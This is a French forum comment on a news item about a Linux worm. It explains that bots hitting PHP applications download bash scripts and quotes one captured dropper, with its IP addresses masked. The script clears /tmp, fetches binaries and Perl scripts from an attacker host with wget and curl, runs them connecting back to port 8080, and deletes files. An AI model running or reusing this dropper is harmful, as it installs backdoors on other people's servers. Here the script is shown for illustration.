• [^] # Re: autres systemes d'exploitation

    Posté par (site web personnel) . En réponse à la dépêche Un petit ver pour Linux. Évalué à 4.

    Tu peux effectivement installer Mambo, Wordpress et autre appli Php sur Windows, mais les scripts que les bots tentent de télécharger puis d'exécuter sont des scripts bash et font appel à des commandes Unix (curl et wget) dont je ne connais pas d'équivalent sous Ouinouin.

    Pour info voici un de ces scripts dont j'ai masqué les adresses IP car les sites et les vers téléchargés sont encore présents (enfin plus pour très longtemps amha):


    #!/bin/bash
    cd /tmp
    rm -rf *
    mkdir .temp
    cd .temp
    if [ -f cb ]; then
    /bin/chmod +x cb
    ./cb xxx.xxx.xxx.xxx 8080 &
    else
    wget xxx.xxx.xxx.xxx/cb
    /bin/chmod +x cb
    ./cb xxx.xxx.xxx.xxx 8080 &
    fi
    if [ -f https ]; then
    perl https
    else
    wget xxx.xxx.xxx.xxx/https
    curl -o https xxx.xxx.xxx.xxx/https
    perl https
    fi
    if [ -f ping.txt ]; then
    perl ping.txt xxx.xxx.xxx.xxx 8080 &
    else
    curl -o ping.txt http://xxx.xxx.xxx.xxx/ping.txt
    perl ping.txt xxx.xxx.xxx.xxx 8080 &
    fi
    if [ -f httpd ]; then
    /bin/chmod +x httpd
    export PATH="."
    httpd
    else
    wget xxx.xxx.xxx.xxx/httpd
    chmod +x httpd
    export PATH="."
    httpd
    fi
    if [ -f httpd ]; then
    /bin/chmod +x httpd
    export PATH="."
    httpd
    else
    curl -o httpd xxx.xxx.xxx.xxx/httpd
    /bin/chmod +x httpd
    export PATH="."
    httpd
    fi
    /bin/rm -rf /tmp/su*


    Mais effectivement on devrait pouvoir en faire aisément un wsh. Enfin moi j'ai autre chose à faire... ;-)